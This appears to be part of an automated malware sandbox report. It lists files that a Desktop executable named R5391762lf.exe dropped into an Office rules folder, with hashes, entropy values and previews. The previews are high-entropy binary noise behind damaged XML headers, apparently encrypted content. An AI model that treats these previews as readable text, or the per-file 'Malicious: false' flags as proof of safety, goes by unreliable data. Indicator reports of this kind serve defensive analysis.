Preview:	<?xml..K..i...}ge.\tL\|.....{Y8s7...".a....U..t.J..`...@.@..7.".x/4..ScK;..#..#.Q]p..d...-x.k.'.NU_.10x.SIJN'ot...{..}l..m.)../\|..>.-6V..,.....MxBU.@r_E..:.i.:.....9.x.\|7?.r)...h.....>A.ox..Fd......4Xm....&....%...........J......ttF...,..j.... z.oI .q.....L&.....;..r.V".vG$..tg.8.a....".)....zN..4.^DX..\.g.A2P..F.s.....Ib....p>...Go0......KN..I.TB..R.......M..p'"...)+....,...^...s..nH:.m..C...(......s.......".$...`...}....4.#.P]........3.....{.2..M..-...Z../.G...}.7.2......E.......i.._.S.m....wm..[\|(.c....&...d...t..?.==C...Z}.....>.-..= k..../?zo...2.....Y`3_..f...).S..5.&..._.l....W.J...x).\|.xc.1/.....y.d8o...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.881195155804083
Encrypted:	false
SSDEEP:	48:tTXcNblGmkbw4O8fVjK//8prCwKzBq5sXFuED:tkJ8wyNe/08TQQFuQ
MD5:	C7E8F18F3A563F5EF17493DD3E0A057B
SHA1:	41CD654D59586B97A808543C95CEAEDA29E59A90
SHA-256:	BB24216B1E67C051F3F628583A64CEAAA32CFA2D445B17B5735CA3DAAA5A2B4E
SHA-512:	5B5D87C727FCDE86E59B251F46DA9C6876B7745FFA7757FE9463B5879854F4FD719D21A415B4E7B97598AB0986371821B7BBF17E7AE37C510A33E77262224F80
Malicious:	false
Preview:	<?xml..M...E.oe....f.'.....S?...:...$ut:..y.w.W{.Nl.w.g^'..Vp...>......-.^...6OX.....\.$.l..>...c...E...8.a..@.%..'nW....tp.=..5#...3Wj..0S.B..P!K......K_B.uT.d......?..n"o.r.,t.....eV..?.E!..j..EG......E..}..%..8.$.{S.6.xr).!.?....X..m.9J....zG.....BN.Go...S...%7)..j._.D$.MW..S1..3\|{"..!..a...uW......k.........."..vep....;...I.O..v1.#w.x..R....1..\|....".7x.^..`...l.a.1.>R....r.D....w=<.t....y../\.:.....G..7.XP...s.q..pH).3...52....R....w.F..)a...}T....R.-..%...&H..4..bL...Ii\..W....S......]Vk.T...B.....sg.wJ.h.V.....(..x....Qe`H...vczQ..Q.&.......]...\W"...`Ai..k.o...x....x&.p.h.-.P..`h}........q.....SgY..3..Dw...)n.......bkW\i.QVFp.8.A..~F.:p.....W..a.&e4.1.#Gj.Ja.B.A.WlN.........g.<.2.K...L73OY}.2[W.sol.$.GW....I....3..n;..W'.`...W..+.,.#.)\|..@{....0.......(0.C..c.[..Z...{.7..%...I..H)..M\|8.B!...=..a$A .7s...enc...~qq...(XN8..!.W:.....(]..p.Bmk.&....e.;4..O.d]H..z.....(.%{k&.M[g..R...C...NZ.._].=....0.1......)...UUw*.{,.."\|.b..:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.719901828609602
Encrypted:	false
SSDEEP:	24:DM2PBLt0C+fOWDcHefQfwSjglnTbRuoQ01ARCdxPPuXq8uWbD:DMMBJt+GduQfwS4TooQPWPPuXFuED
MD5:	B4A39931AEE1844DD2F005EF61E787D0
SHA1:	DED99468DFDBE5B7EA1E80405C489B0FFB6F42E8
SHA-256:	76B027A25152FE8CC9ABA78828910741CAD0575413D43ED9B1528F501888077F
SHA-512:	EC1B451F2417C26085499909D912FDA2E011FA65A75AC6E7893EB16E8E98B247CBB8040C2B55B69C7FB906108FD1A6D595851E35DD828DCBF450E7CFE7B1A2EC
Malicious:	false
Preview:	<?xml..\.....!z!.s.y.$....<...N7.u...Y...&.B..).s0.2..A...Q<.H....{....Q.D......>..L...2.{.E?.+.bY!...e.......D....s4.".uD.R.......#..).S.Z.4<..//....._..5>.?.n.l.4...'[....~j.Z4\|QZU.Q.~.4.]...]../..0K@..?..._....g.X...A..%Fj..Pv.n.+.j....;.....xn.&....~.I..3L...?9i.^P...M...{..FR..d3./J(....%.<..a..D..Zu......-.-a....yy.:kh...,y.l..d.nMI.R..vJ.k..#.....SJ.x!.O....B...C/....(...(a.-.E.\...[AmH.+..@F..c....O..a.L)mD.};uv..<?........../.a.#.........N'.m.8..I.\1....:....>,.%LC.U....y..p...n.NQ...k-v.j...>&....h........G.s...C.3......vJb.J.HI.pe..v>).o..p.L?d...!37...V=.M..c#R.Y..=.7..y..i7.... .......,HxQ.@...... .G..M.a(.LJGo....J2. .`...i.1.....6E...n'}dW.Q._.g{.......;W../..U..k...O.1HV.......t.d..."doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.781509710253134
Encrypted:	false
SSDEEP:	24:gCabE5a6FYZ4TlAdeOFG6o7wxQGYXq8uWbD:giEUQdeOFTmEYXFuED
MD5:	BC256E5A795B31CC7539A6E9D69E3D83
SHA1:	C9A09B6B67DF3B04A75BCAB786C8BBAA4F95CBBF
SHA-256:	9148534588759F5F6A5B6C3A8CE0F1F4834D43DD56C1858DB61FF8F7AFE74A62
SHA-512:	75A7ECB7E9FD2A0217657BB9777C64B8F5FD898A656C9F60C67F76F1D46F9FF7189B35C6651E774A055CCEAE58182A81D9BD11D5D9B14C0A3FA4E6E8030FEBA0
Malicious:	false
Preview:	<?xml..iF..&.TL..+`EU.{..\|....7z.a-..p..dTSB.O...1. r....K.....N.B../..>{..b....8..<.gQ.[8f...{(.0..+[.......p.r..g..l.g..R.....s.l5..EO.,........!.[...w.:V{.^.../^t.L...m....\.E..Y.S.....(D.Vt.H......m.[.G..m.j ....j. .....X.Z..8.+6.....,"".-..'.C/'./..?f......mQ..8...2.wdI.u.L.l..&M..I..)YC.g.&U?k...ei.;.0....`.f.>..s.3.2..)...'1.ij.0...\...fz..j..............]..&o@..........~.-$..mV....[!..R.(./.B..2Z?l..>.7...tw...s.....o.0.e......~,.W.._6..7b.glI..jJ.Y-S....@...HH8......j...-....K.ow..].~.2....T.w.....N..67...n...~....#..?...U`.>H`T..o.1.0.....I..\|..._.3...c..e.....Z)..XZ..l._)<.>C. .....h...........N.9G..)..T.....h...zV}.....z....n..{/.+..p..^..8<......\....#F.N#7)~d$v...}...z.T@9.7#....z..L....h.........j5eO.E..F1...K...xB...<aO.+.....3^4.3..m''..&..)....G..n\|1p...x......xLY..Oe..U..R.2....$.....`. n.(s.Z.{.....P.....#......[.3h.kE...^..*.L.....e....f,.^`t...G.}..<..U...\......doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.841602974507114
Encrypted:	false
SSDEEP:	24:oX8CwOebWbFjQ225UBjtVBnAlbSfY8aBZuruOAYmzGEpg0R8Xq8uWbD:osCwXbm+225UB5rniSpZmdyEpgC8XFuQ
MD5:	FD8943F4FD0B74FDCEE943DF50FF7E58
SHA1:	A95ADA921ECBC926BBF99CD5317DE349DE4F3282
SHA-256:	AAC1341C5C6D8676D50A2DC707D82243AAFD161572B9FCFFBC77ED7A73D03511
SHA-512:	0B8E4E59170FF6B4EE7A3DD1E87CB5F6DE118E92FE6F1A441DD6E34AE5036849E138C6C38EE101090084A63E626CF331AABF1F842BCFC3197477283B974E9720
Malicious:	false
Preview:	<?xml..k.g9........e..:w6.o.H.S_S...%j...?V.)....a<.....x.t.^..=...$..x:.S@o..Ii.... n.q...Qu...i.r..f.i..........f....I..o...."Vf.......i..d.E..E..$..O.%...C.~...+...N[g..G6.p.Y...........<.(W.e..\G..1.VI\B..{.....R.EQZ^qh....T7{..-..u.PTT.'...>...G.w.-+./..,.ipi....aZ;cQv8...v..]c',b26..0<!....7.r..2.V@....D...M.n?-....,.i8..V..Dv/..O..4~......>....R..>..Tl..E...;..OZ.k.uu...F...`..X....a?z.1.9..=.Z...\|..u.q...X{.oG.C...3../b..U...x.n5=i.Q.%-p.@......0y.b.5..Npb;..p...x..-r <w......#...\..%v..../.]..#...z).....b.G..0..G..lf.c.kb2Yh.zXz..H.e>..$.....EF.O.Y...(..+ ?/L.14..t.0b.-2...4.C..uJ...'.#...%Rk..3 .a.b.>?.:.h.p..$......a.&..........Gq...nB.@.+...Y.>.}....{.Ui.M).9...x..J..!xy..xH..0.)0...koc-e...1.....nW....3.~.R5..l^\6!./`.%_..d...T...2gR....."..om..I!..Ktvo..%..sj.&+.........\|..&.S........n..D.'.a.h...\|.(..).q.'<N.Sd..s.s.r..;.=.2j.>cL.&I3/`.$..t.e.=Z...>...........1y.tT..%.1)...9..F%y.N..#P.9.<....qS.PU$9.'...s._o..e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.87828585674135
Encrypted:	false
SSDEEP:	48:gjy2r7m5T+FSPN7+sEqRUIrf2SdaEk4JxQwXFuED:Joa5+UIuqc2SMEk2lFuQ
MD5:	2EC76788AF10942EBD578251B9583AB5
SHA1:	437A1C260E6AF8A9870651F0ED2066E7ECD64197
SHA-256:	D53CC3D6AFE4993FA34670FEA133E7EE4519D1F569D4D2799DF7352802FD19BE
SHA-512:	981FEBD649B579AE76F3BD24DFFEE1B96EE019496B58668ED396954584AB7F3ABB29658DD10B391471C4D25CBF1CF8C9FEA88217F3CE9F3E5997719AC67BB04F
Malicious:	false
Preview:	.<?...\.?.^......`...EI....?.xr..]......C...pi..o...q.j...Q%....'...n_rB..C........1H.jN.......tM.._5j]l.d..m.u..Z..+.....-.`..`4.&.pA?.......G)M.&...BW.....!...X..>...)...l...I.:.>..0j.=.9X..v\I.a]C.s.b;J....v+.6d.:......f.......C..a......PO.b..0.0W..c4....9..+l.j.b...D....[%.W.t.._}y."...@.O..k.0d.J..?.5.$J..9.<.].f.7.c.Wz..R...wnw....z)...]...O..8...y0.-H..SG.m.V.].;_....X..T.D.........n.-w.;..X.pu20.n.!..."YN.+.8....}/V.#2b.........q!G.Q A.].a.....bZB.h.....W.+..6...`...,.Z..3d....F../#..o...?h....X..-.}......;E(.f.I...s\O.JZ...&G~...b.a.O.C.&.3..........'..<.m.c..3....G....l..C;j&...Q.,.\..B].d.....y...v..2.l}.4&.Nj..d.O.X..O."......8......u...A.T.1.....8Lf=....a.0.T...VPE...)o.V.d..I.K..]....X.c.!.......ng...c.^s.rh.^.......n.....(.. ...#..../=.$..1.LI..Y;...u.s..W.>......fWb....v..U.>.:..?_:..p..........!.).....Cr..C..S.K,.D;.<...U...5:.:.Z......#..r.....nq..1.....B.J....:6..c.1.w..eb..g!.'i.?;....jh.....Y....._.....0]....?.P..M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.783730931846564
Encrypted:	false
SSDEEP:	24:zoRJObdXqf7wkqn4Y3aLu2wNdiMpzfM7Gv7T0sCJyDAmXq8uWbD:zwJMd4Vqn4KOu14MpsGzxCJyPXFuED
MD5:	AA174BB9343AE679172A4292A1822C59
SHA1:	B5F84FAB079C8A07E409948793C25995A3E7891A
SHA-256:	6D9017FB4B580454B993618B78F4627D59DF5989261F75D83C3FA2A924A1663C
SHA-512:	5EFA9EA4F8FD9861C0834A97CB7F752228F17981C6FEE9751834674EEE5143E72DB804E09942498406127B47967EEAC0955100DB22B28AAD5D2CA186944AF866
Malicious:	false
Preview:	.<?....x;.6.k3.......v,. ...4f.}.h..,.%#..P.":c...ZL_.^.D....v>2......Q..Y..W..vm.D^FZ}V4.hK.F...e..d...D/.........k..j.b).....X^...I...k........KU..........+...........).j.!O}#.b....v............O&.wM.....w^.so.+(w'']{n..O\..{m>0\....`r.b........S..N6(...@...b!....]."F^#.+..w...)<mlX.\H2e.@.\.K@5QxAZ.)....b...^.I...d.I..V,...$s...h...U".r..y-.\|..Hi.w\|.......y..S..S%0..y.....Js!..+..uD../....a...0Y+e.....Y.4.h.?..7.;.46..0I....L...".{..jR/..u.@.....#...$5d.!e.0....W...T[.....Vg.@....-.GDG..=.8...\{..-(....2Ln8,....P.....,..U.!q.d.zb5.Q....^..m........6..k.y.6...J....!........!.M.....5..^....5.Yc..epU.27@ NY..N....<..Jz..y..,.\\... .......[...&&7..7C2D3f.{....KGz...R.4.R..?fR.`!...)l..8...4.....z..0..<.+t..K}`...V.a.t...t:3Z.'.?.....WGK:}..7.N...@....(S..._..!...PZ.e?.WT..P.X]....t6B..0G.......V.k.U.s]...w.=.....>.~e..51.@...}.;x..0...-T..\|...vZDj.Xe..au..&doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.953483578154017
Encrypted:	false
SSDEEP:	96:Dd8RrVkWB257Zvtto5ROhsJNkkooAKe5ETPbhRmRHQJydeNKU+FuQ:DdErVBBU7ZvYIhsJbBEETPVRIHQlvQ
MD5:	05A8739A462985A165D7AED88517D506
SHA1:	B741FA2555F05C4AC395F9F9EB7700A603F1E0E3
SHA-256:	C70A479E05D8CDDEB0CF6C15FE1823F26231D85DBFD710A53A7D0A5045800424
SHA-512:	8F9CCE68EDEA2E6EE8E33D525AB0484DBDDB8797C76BBE12E04EE9EAF07693ADB2224D7F07AE5FB97642B573079FECE1DBADFF34AB0D0DA9F022870BF11AF468
Malicious:	false
Preview:	<?xml\.f..M.t......4...mH...o...bB.1.^2.&h..0..D.._?.8.L.9.....F.....1_.e.R....%.........7w'j..........r.5j.Q.n............QR.........U.y..q.....2.....v...n.p..x.8'<e.g...'..?..i..w.9...U7`.N...m.K,.W..T.P...i.....U-..k.%@.N..`.1..r...hyN..{.0..V....'......&.i..em&..$....K...].m....m.mv..27H...s......,.F.R...y.....".L....m.Y.....8....sh..3k.B.gZb>..? ..:.!@.f....S.M.t...?T+..\..[.ZR0..C.t.7~..j...Wp.2.K'...gn>B.y.p.e.,. f.('..+...."W.r.....\|r9......t.,M.........k.^.....f..;035<6.,M.=f\JS\|.k...w.K...C...&sy.<.b...._:.G=.%@vt.D..yrM..V...5../.lY.I.O...j.H...;\|..#..BA......z+.._..<....%".Ou..6..d.2l...._.k.W..2..<..J.e....n@.VH.J.!!..8.6.E,E9..,:.-..XWtT..".n..N..8M.\|.rU.k.#^P....l.3....[>...,.n!...7...f....n.%,mX....5m%.Wh.m0\|.-...c..,..4a".o.z..Z...@#.kd...^..'y..K.}.....BZS....J..JrB{.6I.....\|.......SF..X&.g....m......j?g.....fBT....;:.Ed/....P.....u11)....6...X...a.{...3~P/0.....`..)._%y..%g..=d.qS...w..O.4.M>.....8.#.5...J..5.....h...h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.942045953629036
Encrypted:	false
SSDEEP:	48:Y837qgvUdJlBHwIZqOTUb/FVhKkunDABDrNTgF2xdhTfiiRixYgwqqHXFuED:0t+cqCUbtVhDLF6mRKAixTm3FuQ
MD5:	8F33AB6D47C6AAD980E4BC8EDCC74BE2
SHA1:	FEC0990FF1396ADE7FB643C4C6FDDF6B2FC8903A
SHA-256:	1D38F985B696C95AEE8C41BACA434F37BA62F28D1D84B634C5449DB40F74AA15
SHA-512:	D64AD106D7818023396D81AF1D1B271643B0CD3D5ED44A49A0099A66352BE8CD8D22F6C5112C7344CD330B5C1F293324AF069D79E41480C27DCAEB8E37252FE8
Malicious:	false
Preview:	<?xmlA.m.4S..efoP.l.y.?m.....s.K.@t..v..7...}..;.....i..3..+:..p..u...@.g./C...fb...#...Vq,.................{."K<...~..t.-`.../.L+.C.LP...j.cv..7.f.&.e.e>..;.+....s....s..A....Ag..o/.....a.....OP..Q...{t..&H7.L...4....u....?j.&(......v.........8..4...!.....f..:..A.c.D;8.&-l....p5....yBw..!..3.>.;.p....(.._GF$"..ix...znF..;........&.4.I...3.0..a..j.uB....-#B ..y.a`..0.M..4.1...6q..y..K..,..........yv.H..B8C..L.>{.J...G....k..S.M..CCN........y.......>bXG2...J\...H.W.h.'.....s.a.......x..D.z..9X./...>.[.ud.p.....s..r.H.} .J.?...&q.5...Ln.#....Qp..eH.q..[..iPd..X......Uq<....N..P.>.V.2..=..t......*D7...........}.cV.....RLO...k...w......v...Y....`..E_.t...w...."i.cTc[.&....$I..p. g{.8Or(.yl.$\|2>i..sX.9.sd.).`.N.8.7..3..`@.^.t.w.._.......8n.~.)....z.r.... .. .H...z2.."'.`...n..[...5.61)......C....8.oq.....].2...J8...;.>..&...!v.g....W$\|......7..#)....4x..YM..[.....4(....JAR1&..+J...l(pv..K....xt........:....5.Tj; ..s....gR..?>...C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.95266694612848
Encrypted:	false
SSDEEP:	96:vKpD61bZtd4eu51htaGzyc9hRa++skro8Gz33qFuQ:vDttKem/7Gho8Gz33BQ
MD5:	A6AAE192412BDBD6B558FF8835E5623A
SHA1:	DDA37E9601A77FD83AE034132BEE61A3558902B3
SHA-256:	4388536B241CB3000FEA97906DF215A60FAEE68471A21F13002AF5FADAA1F79A
SHA-512:	341E4DB5B80093B8EB3E98CB0D540E6456F78C5AF9869FE5F79A8279BE8823AF0B353ECEF8C8D42288234096A5B0FE8FC1E4B23E7A2F5FBFC51E001CFA006F6E
Malicious:	false
Preview:	.<?'!...e.....U.;..fO..rT.&1.f9..oc.<.......5hv..9.[6w.fT/.....d.....W'~-#;......a.6.........A...V]s@a5>J..w.(.t:....Q.b.$.....;}.x......._.y..X. ].vyd..m&."......EA.l.n...W....2.RZ#..X..l.3.-.H..xK}M..g..>....Z..B.$..E:..r~.sjX..........t..PY8.....f'P..m.r.........$.Y...n...0I].w.D.9}J.].{o.).L.4..o.z....!....r.......M.{....R.2.r...0;./..N.y.....60.^.!.....R4....T....M=Y\RO..s.......{C..76....5...=R...h}.1G..............c/...<..XM.Q^..&......R....Z.i0....z...F^.5{f...h.(Q..v."..`\|.....v8.....\t. &v.bo.....w.l/A.....5G4vl..9.`~(\|..\|.z.....N..y{.Y!............#......Et4N.rtf...1...).......7..8.F......Z.Y.n..O.4`p.tW...0.6U@.2....e%...$.....7....V......Q../..'g........9/..]..A)..f.p.#...V.(....R...U./..#.1.n...8D;v.A..FO.,N.Q.8I...........e...n.m...w.....9Xa.%=5...x(..4..P.....-.;+.n.'Q...P.6._.....s.1.Y.w..Z..dH..{w'...4=Xw.)..,..1.Dl"T.MZ._og..;....b...'.. ..it;.}."....Qj.g..3.!2..C(...tR.N.e.Gz.....+"......3......I..O"..J.g.rU.n..ewY.,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.94421227712186
Encrypted:	false
SSDEEP:	96:Mgl+YmLDxh0MpFu/Q2lE47Xa/OeU7UVKsYpTnFuQ:tM3VQQ2eYq2e4UVIT8Q
MD5:	4BCA224A5F1C833E7C95DF403F2EC6CF
SHA1:	DDD3F04BDE431FE290A824FAEDD53DF3CDC6182D
SHA-256:	4274B90469DF1E3EF8BAAD2A60054DE07DEB75D820C5C5703F07F880D51DC57D
SHA-512:	B8987CC3730B7A742A5C4996BBC1A3D494FAA343C4B483502E43C74720000B8E9FCD1096CFFC033C918B8735ED829A60AFB6E75BDFF8F1A638FC2F541B212572
Malicious:	false
Preview:	.<?M ......z....]{..C.S..b...E...<'..x.....".'.g:.}....K.P..ZQk.%F,I!...?....J.0..@^O+..kh.f$.......;....P..w....B..2...............%..z....&.R.......-.OFE../Z8K.G.,-O.P......G/r... .>?..D^E....VI.a..8P=..9s..a.(FF0.ZuHc..9.)..........b.~_\msj.Td..._"... !.....B.B!.."....N..%..[.."t..Q.....fo..Y....wh....s. e..(.:.}....^fL..3.&g..!z.}......Y:...U...r%...4..._'..H.G^.8...Z.8j6.>.L.(..<.M.........`....a...:.qz.s.[....)..hN........e.....Co.).f...]...$..w(..2..f.b.T....$.O....1.K... .#Md....Y.5Y...x.....t....:g.9_.y@;.^......V..'.:.\.B..>..$...n.....o..}.,2..G...\\...1y.....:..P.r..0_..\|.H_[Zv.\c....Ea.g...x].4?j.[.>.h.....TN........%...r..T..E..mU..u......0:T.9\5bZ:.......-+#.@.:...e(.iF...k09.Eb.Sk.N.....s...8..lp........\|...z.2C..-.C.....Y..s?..zg.B."a. XMJ.._....Y..........@..>....R......1...y..nsOh.?t....h..hc.. ...[.qC\.r.K~...ar..g%.......f.3.....M..dE&..r..z.O..k_.}6....u....dl..5..s.........M...JM..=o.0.V.P.r.....?bM

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.942295949520582
Encrypted:	false
SSDEEP:	96:z5uDzKxULvYPmJZkzDkEV5CIIuHNSKzkvtMFuQ:z5uDOuvY+JZkkEekNSTvt3Q
MD5:	00395AC557F9CDB56FE769F74C794E8D
SHA1:	B804820D4E17984076D5CB9CEBF27E2959F5FA27
SHA-256:	5D8278A3FD362B6AD1EBD595B86336A9853B0AED64FD85BA889BBC2A3D591FC4
SHA-512:	2E759C391D9835C7BDB648E01C5847EC2CEBBA4F1C2B7FA6E7F2CB57E6A0A9BAAC29CC729D8B99A8C79007CCBC436E6C8D2D514E0FE2D838CBCC4599AFD9B2A2
Malicious:	false
Preview:	.<?....=...2....).L.$\..}.h......Bz...U,<..>..n-.Bi.iYJ..e.....G?"Y....H.[..W.....Y$K.\|.c.....S....z...YYUP..Z,9.S.=...;....K.......W.ouC.7n.m`.>...7...h3kg.......y.....\.#o9...>.4.=QV.D.9...:.>...V.,.K0.U.N...).) .;.....79{.."Ok!)...v..P9._..i.yB..e...(.q...X\#.Kr..\1.q.>.~J...(.wr.R.,..'.].U.......R...#(.....[T.N.. .=.....uZV% Gq...CV........m..X.B.&c.EK$v..(LA.\|.Y.4Y...................27....e...h.o.^..0.E....f.v};v.n....,.m..hA...fxV.g.8g.J....N.... ...e.J...g.h...?-.....O.V...C.th. Hn..$..v^.?Y.z.4....,.(.L.k..._........{N(.+..8..w.7J.......mB'....i.J.....=..\|.....>..R^a .d...9.T..H.....5N..X....uNL.S...](..\|.M!...i LDL\|}..&<.Z.....B..&..#...D..E.[..2.z....H.....~.".BXz.x..@..N..@...0[e.9.C.".).a....k....-......#[.\|._D.>V-...J.KC......6....n.,...d[(.bf.@..csz1.?`.[...JixJ].7......1yE....O)Xj+5....Hh.....\...ZV......E......s.....n^.(O.h;.,z.KW&/&.2.B..........z;.-..#.+/..........o0.....eCu....6.R.<..->.MZ..Q.Yz\..".4...q3$..E...[;G..\_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.920686124764128
Encrypted:	false
SSDEEP:	48:iWuJzZZkEGV9tFmbrgbCgK2HqdAsBrkotNOfBe2jiPWnywpOZ/r45UrZ1CrJBPD5:AdZZYkbgKFAsBrFKFjiPAywp2D45mPcd
MD5:	C1818FBBB761656AA64B2A2BDD89B5CC
SHA1:	D68EF3DDE34D96753AD8472D2FB113BAFFECF5FF
SHA-256:	72EA321D78A173515A51E08AB018260C96668966E76C515BD9678B8F34A5EE83
SHA-512:	7BE7BAC3AD6F9F24A14A8E5DD8C5EC100857675379EA4DF01E7C641E7DAD58EAF0A137DADD85B3FF5EC1F1B76FBA1EB6A7D9E934A637482C86D273ABAF307B03
Malicious:	false
Preview:	.<?J{G...i'.....]X.0&/..9)..rhq.....'._p..B.h....p.(.<........S...jh.1.........<...rE\|.r..+.....^...-...R@.Gm..f..\{h)...P.J.v.=K.Qs.Q.Q...i.~.-3.....2..tb....]..`.......N..h#....>.o.E#-..3v..Rw...a..2.N.p.}.!).!.u wsA......:...$TM.r.z2z..,.SCK....a$.4}.......HR^IO&g_R.P.E.....h.{..$.........nW..g.\|J........N.......H....7l..Y:........\^..l.v`..3,....WK...9u.)..<q..,G...5..:...9...E....W.D~...#R.W0....r{.......C..j.~....F..!...kq...&....[x....M..J.......g....GR.I/..Z.T.g.E.QB.&.P.O.~...s.`,...".....$E..v..-...(..l.CZ..PK.P...s8..z.Y..x.v.S...8......2._a...Zw.B..RiU.2.r...EY..x3....w.K..1{\A.......6.%...{.t0......b....h..a.h\|.22.~..R.A...4..isH.6M.Kxi.ot.........v....u...n....1.k......@P...Z.7j#.9.....3..M.z..HnA....I......U^]..':@m..z..8_ .;!.io.\.C........ob...e.Wf.?~..8b...b..H.O.}Rs.....yM..r......O.&.,I.}A....'F...W..UgfV%k..~..E...W.".....X...7&q..^C.P......i......U..n.j..\|....]..PQC...V..]m.^Wp.p).-,.0?..0fg. ..0`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.916879376206879
Encrypted:	false
SSDEEP:	48:5lkSgpis0OvX3fpGZHHoiKgbT8Lm6vh4DxObeYkfpi+YNub8OXFuED:5lkS/+EZHHoDMTumIelONub8sFuQ
MD5:	4A485778EBC5BCA9C451A8A479D4C417
SHA1:	9985426699CB493228BAFC5405614BA65AA00D41
SHA-256:	89ABC6DE67560E2CE140ECF58CD6D06590F3C56F566B7D8BB5466595A5CE6723
SHA-512:	F9E878731F2E9F5E21AA3682F1E253A2FBA7597FB588F7B100FA50EB31190030896A577CBCA4EA2B06D142845899B12D21120CD025DA23A8381FEFD19DE515E2
Malicious:	false
Preview:	.<?x.\.sav.1...7......X......<...........\^.e...B.......3..v#...{..!IU X.R.....G...j.g5.A...2...\|....T..\|..i.9-...?.U..3iz..X.O..Zw..c!.....,...)..E......tY&..C....!3RnX..9..`.tvm..o.E`+.(]R&..XC[.kI..X....+..!..:...K./:..3.....-..`g<.J.u..i.....}n.9..a..U...i0.(bv...,..?...f..a..2+./..y....m..A...W`-......#..=i..+...i...lVf...a......k+>..?S....e<.f.Q.7.k....f.&....0....3R......9.h...C..A...?^..3...U..v.=.y.A.%F.._'.[..O..4u...o.8...:-bN^.?{...M%....@t...W.A....=W.V.w.......}1.&(.,.!..^.U[..<......d...c..'....G../..h...".Y.4..]I..6..Q...k.).....".K..........;.[:.)..&.....T.c.}q2E........9....V...W..T@..`.C...C.*F..j.cf.YDn...P,..........I.<='.q(.l_h$.r.Z?=...t..I...A....%.oL\|Cc..4..7.=...X$^..$UT..^t.s.\$....P.z.oMa...z........"ML..-..8.i...R.C.>.qN.4?o....i.,...S_LjB...S....5.......#..\|.......M.8a62m.@P.0..wF..$.....A..#..Jb...v....>L...`v...5O..(9N.p`.f&Q_7C.R_.$.\|O........).l.,.u._..7....T..+........k....0..;...........).C...#sr...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.594986018102049
Encrypted:	false
SSDEEP:	12:3u7wXcJVCJKs+SzAbd5PMduxcKtzoqfPhoTK3IOXqOTuWcii9a:e71Ja/zId5PMdQOqfasXq8uWbD
MD5:	CE665C9F62DBA9B5CD92D3264332702A
SHA1:	B8CACA21504137FC5D1BEF873EC52D9C6C84AF3A
SHA-256:	A5028DF314A92C156C43C37FBA0BEDF22BB6E11A55FFB92AB70983411B521C4C
SHA-512:	C993095D60A8F681802176CBD5CBE6C907E46435B657DB51E89C324B0BFE550206326D47ADEF3D2085D53878CF6168F48DEEC31F2DBA17FA6B2450C56AC64889
Malicious:	false
